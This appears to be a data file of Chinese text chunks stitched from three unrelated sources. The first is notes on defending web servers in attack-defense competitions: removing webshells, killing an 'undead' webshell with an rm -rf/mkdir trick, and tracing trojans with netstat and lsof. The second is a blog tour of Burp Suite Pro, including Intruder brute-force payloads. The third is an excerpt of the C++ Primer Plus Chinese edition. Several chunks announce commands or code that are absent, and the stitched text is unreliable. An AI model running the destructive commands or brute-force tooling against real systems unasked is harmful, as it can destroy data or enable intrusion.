    {"text": "tapeworm.phar执行后，会在Web站点的每个PHP文件内包含一句代码。 TapeWorm.php文件的功能大致为：解析HTTP协议，并将解析和返回结果通过stream_socket_client返回到AoiAWD平台。"},
    {"text": "从监控文件中可知攻击者将木马上传到了/app/includes路径下，名称为shell.php文件，此时攻击者已经攻入系统，如图9-28所示。 图9-28 系统监控发现WebShell木马文件 通过文件监控，我们能发现其新文件的生成，然后第一时间删除即可。"},
    {"text": "发现不死马后，这里提供一个手动清除不死马的小窍门，命令如下： 若此命令没有权限，那么就需要条件竞争，不断地在不死马中写入新数据，可以有效地防止对方连接不死马。"},
    {"text": "除了条件竞争，还可以创建一个与不死马生成的小马名字一样的目录，例如这里创建一个名字是.test.php的目录，命令为rm-rf.test.php|mkdir.test.php。 成功创建后，因为同名目录的存在，不死马进程无法再生成.test.php文件，致使不死马失效。"},
    {"text": "若在开启AoiAWD、文件监控之前，已有攻击者存入后门木马文件，那么我们可以通过netstat命令来查看网络连接的木马。 具体命令为netstat-anplt，可以查看到木马外联IP、端口以及文件名等，执行过程如图9-30所示。"},
    {"text": "当我们获取文件名、PID号之后，可以通过ls-alt /proc/PID号来查看文件所在路径，但此命令需要权限，所以这里改用losf-p PID命令来查看，可以看到shell.elf文件在/tmp目录下，执行过程如图9-31所示。"},
    {"text": "▲图9-30 查看该主机的外联情况 图9-31 查看外联文件路径 发现木马文件路径后，接着使用kill-9 539069命令结束木马进程。 之后可以删除木马文件，也可以拖到本地进行分析。"},
    {"text": "index 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro Burp Suite Pro(黑客必备工具详解) 北极狐fox 于 2022-06-29 14:14:06 发布 目录 一、Burp Suite Pro 工具简介 二、Burp Suite 常用模块详解和使用 1、Dashboard（仪表盘，用于显示任务、日志信息、漏洞扫描信息等） 1.1 Tasks 1.2 lssue activity 1.3 Event log 2、Target（目标） 2.1 Site map（站点地图） 2.2 Scope（范围） 2.3 lssue definitions（漏洞详解） 3、Proxy（代理） 3.1 Intercept（数据拦截模块） 3.2 HTTP history（HTTP请求记录） 3.3 Websockets history 3.4 Options（选项） 4、Intruder（暴力破解模块） 4.1 Target 4.2 Positions 4.3 Payloads（攻击配置） 4.4 Resource Pool (资源池) 编辑 4.5 Options（负载选项配置） 5、Repeater（重放器） 6、Sequencer（定续器） 6.1 Live Capture （信息截取） 编辑 6.2 Manual Load（手动加载） 6.3 Analysis options（选项分析配置） 7、Decoder （编码器） 8、Comparer（比对器） 9、Logger（日志查看器） 编辑 10、Extender（扩展器） 10.1 Extensions(扩展功能) 编辑 10.2 BApp store（功能下载商店） 10.3 Extender APIs(api扩展) 10.4 Options（扩展选项设置） 之后会不定时更新新的安全内容，谢谢大家的支持！ https://blog.csdn.net/weixin_50904074/article/details/125483686 1/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 一、Burp Suite Pro 工具简介 Burp Suite 工具是进行web安全渗透测试的集成化平台，它将各种安全工具缝合到一起，从最初的 漏洞扫描 及映射到最后的发现和利用安全漏洞。"},
    {"text": "Burp Suite的所有模块几乎包含了整个渗透测试的过程，从最初的信息收集和漏洞扫描，到利用安全漏洞，多个模块高度融合，使我们的工作效率更加高 效。"},
    {"text": "二、Burp Suite 常用模块详解和使用 1、Dashboar d（ 仪表盘 ，用于显示任务、日志信息、漏洞扫描信息等） 1.1 Tasks 任务信息表示模块，就是显示漏洞数目等作用,如下图所示： 1.2 lssue activity 扫描出的漏洞风险信息，High（高级-红色）、Medium（中级-橙色）、Low（低级-蓝色）、Info（提示-灰色）如下图所示: 1.2.1 Advisory https://blog.csdn.net/weixin_50904074/article/details/125483686 2/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 显示漏洞的详细信息及整改的措施，等于简化版的漏扫报告，如下图所示: 1.2.2 Request https://blog.csdn.net/weixin_50904074/article/details/125483686 3/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 体现Raw请求信息，如下图所示： Raw（Raw：这里显示的是纯文本形式的消息。"},
    {"text": "） 1.2.3 Response（响应） https://blog.csdn.net/weixin_50904074/article/details/125483686 4/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 体现请求的响应信息，如下图所示： 1.3 Event log 扫描漏洞的时间、等级、出现的URL消息等，如下图所示： 2、Target（目标） 2.1 Site map（站点地图） https://blog.csdn.net/weixin_50904074/article/details/125483686 5/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 使用Proxy抓取信息后，会在target模块生成站点信息，左边信息栏中，会根据proxy模块信息和被动爬虫信息，自动生成一个站点地图，以树状结构表示 该站点的不完整的简单目录结构。"},
    {"text": "如下图所示： 2.2 Scope （范围） https://blog.csdn.net/weixin_50904074/article/details/125483686 6/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 缩小站点地图的搜索范围和筛选链接，还可以对链接进行注释和高亮标记，比如sql注入等。 如下图所示： https://blog.csdn.net/weixin_50904074/article/details/125483686 7/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro https://blog.csdn.net/weixin_50904074/article/details/125483686 8/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro https://blog.csdn.net/weixin_50904074/article/details/125483686 9/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 2.3 lssue definitions（漏洞详解） 相当于漏洞库，给出漏洞的描述和修复建议以及脆弱性的分类，还可以参考相关文献，导出的漏洞报告模板。 如下图所示： https://blog.csdn.net/weixin_50904074/article/details/125483686 10/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 3、Proxy（代理） 代理是Burp Suite是测试流程的核心功能，通过代理模式，可以让我们拦截、查看、修改所有在客户端和服务端之间传输的数据。 3.1 Intercept（数据拦截模块） https://blog.csdn.net/weixin_50904074/article/details/125483686 11/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro Forword：表示将截断的HTTP或HTTPS请求发送到服务器。"},
    {"text": "Intercept is on 或off：表示开启或关闭代理截断功能。 如果按钮显示Interceptionis On，表示请求和响应将被拦截或自动转发根据配置的拦截规则配 置代理选项。 如果按钮显示Interception is off则显示拦截之后的所有信息将自动转发。"},
    {"text": "Hex：对包含参数(URL 查询字符串，cookies 消息头，或消息体)的请求，这个选项可以把参数分析成名称/值的组合，并且允许你能简单地查看和修 改。"},
    {"text": "3.2 HTTP history（HTTP请求记录） https://blog.csdn.net/weixin_50904074/article/details/125483686 12/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 这个模块主要用来查看HTTP提交过的请求记录，可以过滤和显示特定的HTTP请求，点击Filter开启就可以。"},
    {"text": "3.4 Options（选项） https://blog.csdn.net/weixin_50904074/article/details/125483686 13/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro Proxy Listeners：代理监听设置。"},
    {"text": "https://blog.csdn.net/weixin_50904074/article/details/125483686 14/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro https://blog.csdn.net/weixin_50904074/article/details/125483686 15/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 4、Intruder（暴力破解模块） Interder是一个强大的模块，可以用于自动对web应用程序进行无差别、自定义攻击，它可以用来自动执行您的测试过程中可能出现的所有类型的任务。"},
    {"text": "当有效载荷位置 被分配了Payload时，标记和任何包含的文本都将被Payload替换。 当有效载荷位置没有指定的Payload时，标记将被移除，但所附文本保持不变。"},
    {"text": "https://blog.csdn.net/weixin_50904074/article/details/125483686 16/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 这会在暴力破解的文章详细讲。"},
    {"text": "4.3.1 Payload Sets Payload set: 指定需要配置的变量（就是几个负载集）。 Payload type 是攻击类型的意思，分为以下几种攻击类型： Simple list 简单字典 Runtime file 运行文件 Custom iterator 自定义迭代器 Character substitution 字符替换 Recursive grep 递归查找 Illegal Unicode 非法字典 Character blocks 字符快 Numbers 数组组合 Dates 日期组合 Brute forcer 暴力破解 Null payloads 空Payload Username generator 用户名 生成 Copy other payload 复制其他Payload https://blog.csdn.net/weixin_50904074/article/details/125483686 17/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 4.3.2 Payload Options[simple list] 有效载荷配置，设置payload的具体内容。 4.3.3 Payload Processing 有效载荷处理，处理payload的具体内容。 4.3.4 Payload Encoding 有效载荷编码，对payload进行编码处理。"},
    {"text": "https://blog.csdn.net/weixin_50904074/article/details/125483686 18/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 4.4 Resource Pool (资源池) 4.5 Options（负载选项配置） 4.5.1 Save Options(选项保存) 4.5.2 Request Headers(请求头) 4.5.3 Error Handling（错误信息处理） 4.5.4 Attack Results(攻击的结果) https://blog.csdn.net/weixin_50904074/article/details/125483686 19/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 4.5.5 Grep-Match(搜索匹配) 4.5.6 Grep-Extrack（搜索提取） 4.5.7 Grep-Payloads（搜索负载集） 4.5.8 Redirections(重定向) 5、Repeater（重放器） Repeater 是一个手动修改并补发个别 的HTTP 请求的、，并分析他们的请求和响应的工具。"},
    {"text": "可以从站点地图， 从 Proxy模块 ，或者从 Intruder 攻击模块，发送到 Repeater 上，并手动调整这个请求来微调对漏洞的探测或攻击。 1.可以从Proxy 等模块中右键菜单Send to Repeater发送到Repeater，对页面数据进行修改发送。"},
    {"text": "https://blog.csdn.net/weixin_50904074/article/details/125483686 20/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 2.点击Send，发送请求，右边响应请求。"},
    {"text": "https://blog.csdn.net/weixin_50904074/article/details/125483686 21/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 4.单击”x“可以删除当前测试请求页面。 https://blog.csdn.net/weixin_50904074/article/details/125483686 22/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 5.底部的功能用于搜索条件，可以用正则表达式，底部右边显示匹配结果数。"},
    {"text": "6、Sequencer（定续器） Sequencer是一种用于分析数据项的一个样本中的随机性质量的工具，你可以用它来测试应用程序的session tokens(会话tokens)或其他重要数据项的本意 是不可预测的，比如反弹CSRF tokens，密码重置tokens等。"},
    {"text": "6.1 Live Capture （信息截取） https://blog.csdn.net/weixin_50904074/article/details/125483686 23/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 6.2 Manual Load（手动加载） 6.3 Analysis options（选项分析配置） 7、Decoder （编码器） https://blog.csdn.net/weixin_50904074/article/details/125483686 24/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro Decoder是Burp Suite中一款编码解码工具，将原始数据转换成各种编码和哈希表的简单工具，它能够智能地识别多种编码格式采用启发式技术。"},
    {"text": "9、Logger（日志查看器） 10、Extender（扩展器） https://blog.csdn.net/weixin_50904074/article/details/125483686 25/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 10.1 Extensions(扩展功能) 10.2 BApp store（功能下载商店） 10.3 Extender APIs(api扩展) https://blog.csdn.net/weixin_50904074/article/details/125483686 26/27 2022/7/25 04:38 Burp Suite Pro(黑客必备工具详解)_北极狐fox的博客-CSDN博客_burp pro 10.4 Options（扩展选项设置） 之后会不定时更新新的安全内容，谢谢大家的支持！"},
    {"text": "Cover 版权信息 书名：C++ Primer Plus（第6版）中文版 ISBN：978-7-115-27946-0 本书由人民邮电出版社发行数字版。版权所有，侵权必究。 您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。 我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。 如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。 • 著 [美] Stephen Prata 译 张海龙 袁国忠 责任编辑 傅道坤 • 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn • 读者服务热线：(010)81055410 反盗版热线：(010)81055315 版权声明 Authorized translation from the English language edition, entitled C++ Primer Plus (sixth edition), 9780321776402 by Stephen Prata, published by Pearson Education, lnc., publishing as Addison-Wesley, Copyright 2011 Pearson Education, lnc. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from Pearson Education lnc. CHINESE SIMPLIFIED language edition published by PEARSON EDUCATION ASIA LTD., and POSTS & TELECOMMUNICATIONS PRESS Copyright 2012. 本书封面贴有Pearson Education（培生教育出版集团）激光防伪标签。无标签者不得销售。 内容提要 C++是在 C 语言基础上开发的一种集面向对象编程、泛型编程和过程化编程于一体的编程语言，是C语言的超集。本书是根据2003年的ISO/ANSI C++标准编写的，通过大量短小精悍的程序详细而全面地阐述了 C++的基本概念和技术，并专辟一章介绍了C++11新增的功能。 全书分18章和10个附录。分别介绍了C++程序的运行方式、基本数据类型、复合数据类型、循环和关系表达式、分支语句和逻辑运算符、函数重载和函数模板、内存模型和名称空间、类的设计和使用、多态、虚函数、动态内存分配、继承、代码重用、友元、异常处理技术、string类和标准模板库、输入/输出、C++11新增功能等内容。 本书针对C++初学者，书中从C语言基础知识开始介绍，然后在此基础上详细阐述C++新增的特性，因此不要求读者有C语言方面的背景知识。本书可作为高等院校教授C++课程的教材，也可供初学者自学C++时使用。 作者简介 Stephen Prata在美国加州肯特菲尔得的马林学院教授天文、物理和计算机科学。他毕业于加州理工学院，在美国加州大学伯克利分校获得博士学位。他单独或与他人合作编写的编程图书有十多本，其中《New C Primer Plus》获得了计算机出版联合会1990年度最佳“How-to”计算机图书奖，《C++ Primer Plus》获得了计算机出版联合会1991年度最佳“How-to”计算机图书奖提名。"},
    {"text": "本书第 5 版是基于 ISO C++标准编写的，该标准的官方名称为 C++99 和 C++03（C++99/C++03），其中2003标准主要是对1999标准的技术修正，并没有添加任何新功能。"},
    {"text": "本书在介绍C++特性的同时，讨论了基本C语言，使两者成为有机的整体。 书中介绍了C++的基本概念，并通过短小精悍的程序来阐明，这些程序都很容易复制和试验。"},
    {"text": "初级教程强调的是动手学习，通过简短、容易输入的示例阐述一两个概念。 初级教程用示意图来解释概念。 初级教程提供问题和练习来检验您对知识的理解，从而适于自学或课堂教学。"},
    {"text": "第9章 内存模型和名称空间：本章讨论如何创建多文件程序，介绍分配内存的各种方式、管理内存的各种方式以及作用域、链接、名称空间，这些内容决定了变量在程序的哪些部分是可见的。"},
    {"text": "第18章 探讨C++新标准：本章首先复习之前介绍过的几项C++11新功能，包括新类型、统一的初始化语法、自动类型推断、新的智能指针以及作用域内枚举。"},
    {"text": "本书介绍的一些主题很适于计算机科学课程，包括抽象数据类型（ADT）、栈、队列、简单链表、模拟、泛型编程以及使用递归来实现分而治之的策略。"},
    {"text": "开发本书编程示例时使用的系统 本书的C++11示例是使用Microsoft Visual C++ 2010和带Gnu g++ 4.5.0的Cygwin开发的，它们都运行在64位的Windows 7系统上。"},
    {"text": "大多数非C++11示例最初都是在Windows XP Professional系统上使用Microsoft Visual C++ 2003和Metrowerks CodeWarrior Development Studio 9开发的，并在该系统上使用Borland C++ 5.5命令行编译器和GNU gpp 3.3.3进行了测试；"},
    {"text": "这是一种令人兴奋的语言，它在C语言的基础上添加了对面向对象编程和泛型编程的支持，在20世纪90年代便是最重要的编程语言之一，并在21世纪仍保持强劲势头。"},
    {"text": "C++面向对象的特性带来了全新的编程方法，这种方法是为应付复杂程度不断提高的现代编程任务而设计的。 C++的模板特性提供了另一种全新的编程方法——泛型编程。"},
    {"text": "本书其他章节将讲述如何使用C++语言，从最浅显的基本知识开始，到面向对象的编程（OOP）及其支持的新术语——对象、类、封装、数据隐藏、多态和继承等，然后介绍它对泛型编程的支持（当然，随着您对C++的学习，这些词汇将从花里胡哨的词语变为论述中必不可少的术语）。 1.1 C++简介 C++融合了3种不同的编程方式：C语言代表的过程性语言、C++在C语言基础上添加的类代表的面向对象语言、C++模板支持的泛型编程。"},
    {"text": "所以，如果已经对C有所了解，便可以学习C++了，但这并不仅仅是学习更多的关键字和结构，从C过渡到C++的学习量就像从头学习C语言一样大。"},
    {"text": "1.2 C++简史 在过去的几十年，计算机技术以令人惊讶的速度发展着，当前，笔记本电脑的计算速度和存储信息的能力超过了20世纪60年代的大型机。"},
    {"text": "很多程序员可能还记得，将数叠穿孔卡片提交给充斥整个房间的大型计算机系统的时代，而这种系统只有100KB的内存，比当今智能手机的内存都少得多。"},
    {"text": "1.2.1 C语言 20世纪70年代早期，贝尔实验室的Dennis Ritchie致力于开发UNIX操作系统（操作系统是能够管理计算机资源、处理计算机与用户之间交互的一组程序。"},
    {"text": "Ritchie希望有一种语言能将低级语言的效率、硬件访问能力和高级语言的通用性、可移植性融合在一起，于是他在旧语言的基础上开发了C语言。"},
    {"text": "图1.1 数据+算法=程序 1.2.3 面向对象编程 虽然结构化编程的理念提高了程序的清晰度、可靠性，并使之便于维护，但它在编写大型程序时，仍面临着挑战。"},
    {"text": "与强调算法的过程性编程不同的是，OOP强调的是数据。 OOP不像过程性编程那样，试图使问题满足语言的过程性方法，而是试图让语言来满足问题的要求。"},
    {"text": "例如，类可以描述公司管理人员的基本特征（姓名、头衔、工资、特长等），而对象则代表特定的管理人员（Guilford Sheepblat、副总裁、$925 000、知道如何恢复Windows注册表）。"},
    {"text": "Bjarne Stroustrup的主页 Bjarne Stroustrup设计并实现了C++编程语言，他是权威参考手册《The C++ Programming Language》和《The design and Evolution of C++》的作者。"},
    {"text": "读者应将他位于AT&T Labs Research上的个人网站作为首选的C++书签： http：//www.research.att.com/-bs/ 该网站包括了C++语言有趣的发展历史、Bjarne的传记材料和C++ FAQ。"},
    {"text": "C++程序可以使用已有的C软件库。 库是编程模块的集合，可以从程序中调用它们。 库对很多常见的编程问题提供了可靠的解决方法，因此能节省程序员大量的时间和工作量。"},
    {"text": "OOP部分赋予了C++语言将问题所涉及的概念联系起来的能力，C部分则赋予了C++语言紧密联系硬件的能力（参见图1.2），这种能力上的结合成就了C++的广泛传播。"},
    {"text": "从程序的一个方面转到另一个方面时，思维方式也要跟着转换（确实，有些OOP正统派把为C添加OOP特性看作是为猪插上翅膀，虽然这是头瘦骨嶙峋、非常能干的猪）。"},
    {"text": "C++融合了OOP、泛型编程和传统的过程性方法，这表明C++强调的是实用价值，而不是意识形态方法，这也是该语言获得成功的原因之一。"},
    {"text": "图1.2 C++的二重性 1.3 可移植性和标准 假设您为运行Windows 2000的老式奔腾PC编写了一个很好用的C++程序，而管理人员决定用使用不同操作系统（如Mac OS X或Linux）和处理器（如SPARC处理器）的计算机替换它。"},
    {"text": "因此，美国国家标准局（American National Standards Institute，ANSI）在1990年设立了一个委员会（ANSI X3J16），专门负责制定C++标准（ANSI制定了C语言标准）。 国际标准化组织（ISO）很快通过自己的委员会（ISO-WG-21）加入了这个行列，创建了联合组织ANSI/ISO，致力于制定C++标准。"},
    {"text": "经过多年的努力，制定出了一个国际标准ISO/IEC 14882:1998，并于1998年获得了ISO、IEC（International Electrotechnical Committee，国际电工技术委员会）和ANSI的批准。"},
    {"text": "该标准常被称为C++98，它不仅描述了已有的C++特性，还对该语言进行了扩展，添加了异常、运行阶段类型识别（RTTI）、模板和标准模板库（STL）。"},
    {"text": "本书反映了当前的情形，详尽地介绍了C++98，并涵盖了C++11新增的一些特性。 在探讨相关的C++98主题时顺便介绍了一些C++新特性，而第18章专门介绍新特性，它总结了本书前面提到的一些特性，并介绍了其他特性。"},
    {"text": "1．使用文本编辑器编写程序，并将其保存到文件中，这个文件就是程序的源代码。 2．编译源代码。 这意味着运行一个程序，将源代码翻译为主机使用的内部语言——机器语言。 包含了翻译后的程序的文件就是程序的目标代码（object code）。 3．将目标代码与其他代码链接起来。"},
    {"text": "有些C++实现（如Microsoft Visual C++、Embarcadero C++ Builder、Apple Xcode、Open Watcom C++、Digital Mars C++和Freescale CodeWarrior）提供了集成开发环境（integrated development environments，IDE），让您能够在主程序中管理程序开发的所有步骤，包括编辑。"},
    {"text": "有些实现（如用于UNIX和Linux的GNU C++、用于AIX的IBM XL C/C++、Embarcadero分发的Borland 5.5免费版本以及Digital Mars编译器）只能处理编译和链接阶段，要求在系统命令行输入命令。"},
    {"text": "表1.1 源代码文件的扩展名 C++实现 源代码文件的扩展名 UNIX C、cc、cxx、c GNU C++ C、cc、cxx、cpp、c++ Digital Mars cpp、cxx Borland C++ cpp Watcom cpp Microsoft Visual C++ cpp、cxx、cc Freestyle CodeWarrior cp、cpp、cc、cxx、c++ 1.4.2 编译和链接 最初，Stroustrup实现C++时，使用了一个C++到C的编译器程序，而不是开发直接的C++到目标代码的编译器。"},
    {"text": "例如，要编译C++源代码文件spiffy.C，则应在UNIX提示符下输入如下命令： CC spiffy.C 如果由于技巧、努力或是幸运的因素，程序没有错误，编译器将生成一个扩展名为o的目标代码文件。 在这个例子中，编译器将生成文件spiffy.o。"},
    {"text": "要运行该程序，只要输入可执行文件的文件名即可： a.out 注意，如果编译新程序，新的可执行文件a.out将覆盖已有的a.out（这是因为可执行文件占据了大量空间，因此覆盖旧的可执行文件有助于降低存储需求）。"},
    {"text": "在这种情况下，可以通过在命令行上列出全部文件来编译程序： CC my.C precious.C 如果有多个源代码文件，则编译器将不会删除目标代码文件。 这样，如果只修改了my.C文件，则可以用下面的命令重新编译该程序： CC my.C precious.o 这将重新编译my.C文件，并将它与前面编译的precious.o文件链接起来。"},
    {"text": "例如，要访问数学库中定义的函数，必须在命令行中加上-lm标记： CC usingmath.C -lm 2．Linux编译和链接 Linux系统中最常用的编译器是g++，这是来自Free Software Foundation的GNU C++编译器。"},
    {"text": "例如，下面的命令将生成可执行文件a.out g++ spiffy.cxx 有些版本可能要求链接C++库： g++ spiffy.cxx -lg++ 要编译多个源文件，只需将它们全部放到命令行中即可： g++ my.cxx precious.cxx 这将生成一个名为a.out的可执行文件和两个目标代码文件my.o和precious.o。 如果接下来修改了其中的某个源代码文件，如mu.cxx，则可以使用my.cxx和precious.o来重新编译： g++ my.cxx precious.o GNU编译器可以在很多平台上使用，包括基于Windows的PC和在各种平台上运行的UNIX系统。"},
    {"text": "3．Windows命令行编译器 要在Windows PC上编译C++程序，最便宜的方法是下载一个在Windows命令提示符模式（在这种模式下，将打开一个类似于MS-DOS的窗口）下运行的免费命令行编译器。"},
    {"text": "通常，编译器提供了很多选择，如Windows应用程序、MFC Windows应用程序、动态链接库、ActiveX控件、DOS或字符模式的可执行文件、静态库或控制台应用程序等。"},
    {"text": "例如，在Microsoft Visual C++ 2010中，应选择Win32 Console Application（控制台应用程序）选项，单击Application Settings（应用程序设置），并选择Empty Project（空项目）。 在C++ Builder中，应从C++ Builder Projects（C++ Builder项目）中选择Console Application（控制台应用程序）。"},
    {"text": "IDE通常提供了多个菜单项，如Compile（编译）、Build（建立）、Make（生成）、Build All（全部建立）、Link（链接）、Execute（执行）、Run（运行）和Debug（调试），不过同一个IDE中，不一定包含所有这些选项。"},
    {"text": "需要注意的是，程序能够通过某个编译器的编译并不意味着它是合法的C++程序； 同样，程序不能通过某个编译器的编译也并不意味着它是非法的C++程序。"},
    {"text": "提示： 有时，编译器在不完全地构建程序后将出现混乱，它显示无法改正的、无意义的错误消息。 在这种情况下，可以选择Build All，重新编译整个程序，以清除这些错误消息。"},
    {"text": "为查看输出，必须在程序的最后加上一些代码： cin.get( )语句读取下一次键击，因此上述语句让程序等待，直到按下了Enter键（在按下Enter键之前，键击将不被发送给程序，因此按其他键都不管用）。"},
    {"text": "C语言新增了诸如控制结构和函数等特性，以便更好地控制程序流程，支持结构化和模块化程度更高的方法； 而C++增加了对面向对象编程和泛型编程的支持，这有助于提高模块化和创建可重用代码，从而节省编程时间并提高程序的可靠性。"},
    {"text": "上述任务通常是在IDE中完成的，IDE提供了用于创建源代码文件的文本编辑器、用于生成可执行文件的编译器和链接器以及其他资源，如项目管理和调试功能。"},
    {"text": "例如，该程序使用的是cout，如果将其替换为Cout或COUT，程序将无法通过编译，并且编译器将指出使用了未知的标识符（编译器也是对拼写敏感的，因此请不要使用kout或coot）。"},
    {"text": "正如第1章讨论的，要让窗口一直打开，直到您按任何键，可在return语句前添加如下语句： 对于有些程序，要让窗口一直打开，直到您按任何键，必须添加两条这样的语句。"},
    {"text": "将该程序复制到您选择的编辑器中（或使用本书配套网站的源代码，详情请参阅封底）后，便可以C++编译器创建可执行代码了（参见第1章的介绍）。"},
    {"text": "下面是运行编译后的程序时得到的输出： C语言输入和输出 如果已经使用过C语言进行编程，则看到cout函数（而不是printf( )函数）时可能会小吃一惊。"},
    {"text": "先来看看main( )函数，因为了解了main( )的作用后，main( )前面的一些特性（如预处理器编译指令）将更易于理解。 2.1.1 main( )函数 去掉修饰后，程序清单2.1中的示例程序的基本结构如下： 这几行表明有一个名为main( )的函数，并描述了该函数的行为。"},
    {"text": "然而，通常，main( )被启动代码调用，而启动代码是由编译器添加到程序中的，是程序和操作系统（UNIX、Windows 7或其他操作系统）之间的桥梁。 事实上，该函数头描述的是main( )和操作系统之间的接口。 来看一下main( )的接口描述，该接口从int开始。"},
    {"text": "在这里，空括号意味着main( )函数不接受任何信息，或者main( )不接受任何参数。 （main( )不接受任何参数并不意味着main( )是不讲道理的、发号施令的函数。"},
    {"text": "简而言之，下面的函数头表明main( )函数可以给调用它的函数返回一个整数值，且不从调用它的函数那里获得任何信息： 很多现有的程序都使用经典C函数头： 在C语言中，省略返回类型相当于说函数的类型为int。"},
    {"text": "如果编译器到达main( )函数末尾时没有遇到返回语句，则认为main( )函数以如下语句结尾： 这条隐含的返回语句只适用于main( )函数，而不适用于其他函数。"},
    {"text": "C-风格注释 C++也能够识别C注释，C注释包括在符号/ 和 /之间： 由于C-风格注释以*/结束，而不是到行尾结束，因此可以跨越多行。"},
    {"text": "如果程序要使用C++输入或输出工具，请提供这样两行代码： 可使用其他代码替换第2行，这里使用这行代码旨在简化该程序（如果编译器不接受这几行代码，则说明它没有遵守标准C++98，使用它来编译本书的示例时，将出现众多其他的问题）。"},
    {"text": "C++和C一样，也使用一个预处理器，该程序在进行主编译之前对源文件进行处理（第1章介绍过，有些C++实现使用翻译器程序将C++程序转换为C程序。 虽然翻译器也是一种预处理器，但这里不讨论这种预处理器，而只讨论这样的预处理器，即它处理名称以#开头的编译指令）。"},
    {"text": "#include编译指令导致iostream文件的内容随源代码文件的内容一起被发送给编译器。 实际上，iostream文件的内容将取代程序中的代码行#include <iostream>。"},
    {"text": "2.1.4 头文件名 像iostream这样的文件叫做包含文件（include file）—由于它们被包含在其他文件中； 也叫头文件（header file）—由于它们被包含在文件起始处。"},
    {"text": "现在，对老式C的头文件保留了扩展名h（C++程序仍可以使用这种文件），而C++头文件则没有扩展名。 有些C头文件被转换为C++头文件，这些文件被重新命名，去掉了扩展名h（使之成为C++风格的名称），并在文件名称前面加上前缀c（表明来自C语言）。"},
    {"text": "表2.1 头文件命名约定 头文件类型 约 定 示 例 说 明 C++旧式风格 以.h结尾 iostream.h C++程序可以使用 C旧式风格 以.h结尾 math.h C、C++程序可以使用 C++新式风格 没有扩展名 iostream C++程序可以使用，使用namespace std 转换后的C 加上前缀c，没有扩展名 cmath C++程序可以使用，可以使用不是C的特性，如namespace std 由于C使用不同的文件扩展名来表示不同文件类型，因此用一些特殊的扩展名（如.hpp或.hxx）表示C++头文件是有道理的，ANSI/ISO委员会也这样认为。"},
    {"text": "2.1.5 名称空间 如果使用iostream，而不是iostream.h，则应使用下面的名称空间编译指令来使iostream中的定义对程序可用： 这叫做using编译指令。"},
    {"text": "这样，程序就可以使用名称空间来区分不同的版本了： 按照这种方式，类、函数和变量便是C++编译器的标准组件，它们现在都被放置在名称空间std中。"},
    {"text": "因此，可以省略编译指令using，以下述方式进行编码： 然而，多数用户并不喜欢将引入名称空间之前的代码（使用iostream.h和cout）转换为名称空间代码（使用iostream和std::cout），除非他们可以不费力地完成这种转换。"},
    {"text": "下面的一行代码表明，可以使用std名称空间中定义的名称，而不必使用std::前缀： 这个using编译指令使得std名称空间中的所有名称都可用。"},
    {"text": "更好的方法是，只使所需的名称可用，这可以通过使用using声明来实现： 用这些编译指令替换下述代码后，便可以使用cin和cout，而不必加上std::前缀： 然而，要使用iostream中的其他名称，必须将它们分别加到using列表中。"},
    {"text": "它是一个预定义的对象，知道如何显示字符串、数字和单个字符等（第1章介绍过，对象是类的特定实例，而类定义了数据的存储和使用方式）。"},
    {"text": "图2.2 使用cout显示字符串 初识运算符重载 如果熟悉C后才开始学习C++，则可能注意到了，插入运算符（<<）看上去就像按位左移运算符（<<），这是一个运算符重载的例子，通过重载，同一个运算符将有不同的含义。"},
